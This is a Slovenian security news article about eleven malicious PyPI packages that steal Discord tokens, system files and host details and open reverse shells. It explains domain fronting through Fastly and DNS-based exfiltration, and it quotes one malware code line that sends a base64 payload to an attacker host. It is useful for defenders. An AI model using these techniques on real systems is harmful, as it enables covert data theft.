V imeniku PyPI (Python Package Index) je bilo identificiranih 11 paketov, ki vsebujejo zlonamerno kodo. Preden so bile ugotovljene težave, so bili paketi skupno preneseni približno 38 tisoč krat. Odkriti zlonamerni paketi so znani po uporabi sofisticiranih metod za skrivanje komunikacijskih kanalov s strežniki napadalcev.
- importantpackage (6305 prenosov), important-package (12897) - vzpostavil povezavo z zunanjim strežnikom pod krinko povezovanja s pypi.python.org za zagotavljanje lupinskega dostopa do sistema (obratna lupina) in uporabil program trevorc2 za skrivanje komunikacijski kanal.
- pptest (10001), ipboards (946) - uporablja DNS kot komunikacijski kanal za prenos informacij o sistemu (v prvem paketu ime gostitelja, delovni imenik, notranji in zunanji IP, v drugem - uporabniško ime in ime gostitelja) .
- owlmoon (3285), DiscordSafety (557), yiffparty (1859) - prepoznal žeton storitve Discord v sistemu in ga poslal zunanjemu gostitelju.
- trrfab (287) - poslal identifikator, ime gostitelja in vsebino /etc/passwd, /etc/hosts, /home zunanjemu gostitelju.
- 10Cent10 (490) - vzpostavljena povratna lupinska povezava z zunanjim gostiteljem.
- yandex-yt (4183) - prikazalo sporočilo o ogroženosti sistema in preusmerilo na stran z dodatnimi informacijami o nadaljnjih dejanjih, izdanih prek nda.ya.ru (api.ya.cc).
Posebej velja omeniti metodo dostopa do zunanjih gostiteljev, uporabljenih v paketih importantpackage in important-package, ki so za skrivanje svoje dejavnosti uporabljali omrežje za dostavo vsebine Fastly, uporabljeno v imeniku PyPI. Pravzaprav so bile zahteve poslane strežniku pypi.python.org (vključno z navedbo imena python.org v SNI znotraj zahteve HTTPS), vendar je glava HTTP »Host« vključevala ime strežnika, ki ga nadzorujejo napadalci (sek. forward.io. global.prod.fastly.net). Omrežje za dostavo vsebin je poslalo podobno zahtevo napadalnemu strežniku, pri čemer je pri prenosu podatkov uporabilo parametre povezave TLS s pypi.python.org.
Infrastrukturo PyPI poganja omrežje za dostavo vsebin Fastly, ki uporablja prozoren proxy Varnish za predpomnjenje pogostih zahtev in obravnava potrdila TLS na ravni CDN namesto na končnih strežnikih, da usmerja zahteve HTTPS prek proxyja. Ne glede na ciljnega gostitelja se zahteve usmerijo na proxy, ki določi želenega gostitelja z uporabo glave HTTP »Host«. domenska imena Gostitelji so preslikani na IP-naslove uravnalnika obremenitve CDN, ki so skupni vsem strankam Fastlyja.
Napadalčev strežnik se registrira tudi pri Fastly CDN, ki ponuja brezplačne pakete vsem in celo omogoča anonimno registracijo. Omeniti velja, da se obratna lupina uporablja tudi za pošiljanje zahtev žrtvi, vendar jih sproži napadalčev gostitelj. Od zunaj se zdi, da so interakcije s napadalčevim strežnikom legitimne seje z imenikom PyPI, šifrirane z uporabo TLS-potrdilo PyPI. Podobna tehnika, znana kot »domain fronting« (skrivanje imen gostiteljev) se je prej pogosto uporabljala za skrivanje imen gostiteljev pri obhodu blokiranja. Ta tehnika uporablja funkcijo dostopa HTTPS, ki jo ponujajo nekateri CDN-ji, pri čemer v SNI določi navidezno ime gostitelja in dejansko pošlje zahtevano ime gostitelja v glavi HTTP Host znotraj seje TLS.

Za prikrivanje zlonamerne dejavnosti je bil dodatno uporabljen paket TrevorC2, da bi bila interakcija s strežnikom podobna običajni spletni navigaciji, na primer zlonamerne zahteve so bile poslane pod krinko prenosa slike »https://pypi.python.org/images/ guid=” s kodiranjem informacij v parametru guid. url = "https://pypi.python.org" + "/images" + "?" + "guid=" + b64_payload r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})
Paketa pptest in ipboards sta uporabila drugačen pristop za skrivanje omrežne dejavnosti, ki temelji na kodiranju uporabnih informacij v poizvedbah do strežnika DNS. Zlonamerna programska oprema prenaša informacije z izvajanjem zahtev DNS, kot je »nu4timjagq4fimbuhe.example.com«, v katerih so podatki, poslani nadzornemu strežniku, kodirani z uporabo formata base64 v imenu poddomene. Napadalec ta sporočila prejme tako, da nadzoruje strežnik DNS za domeno example.com.
Vir: opennet.ru
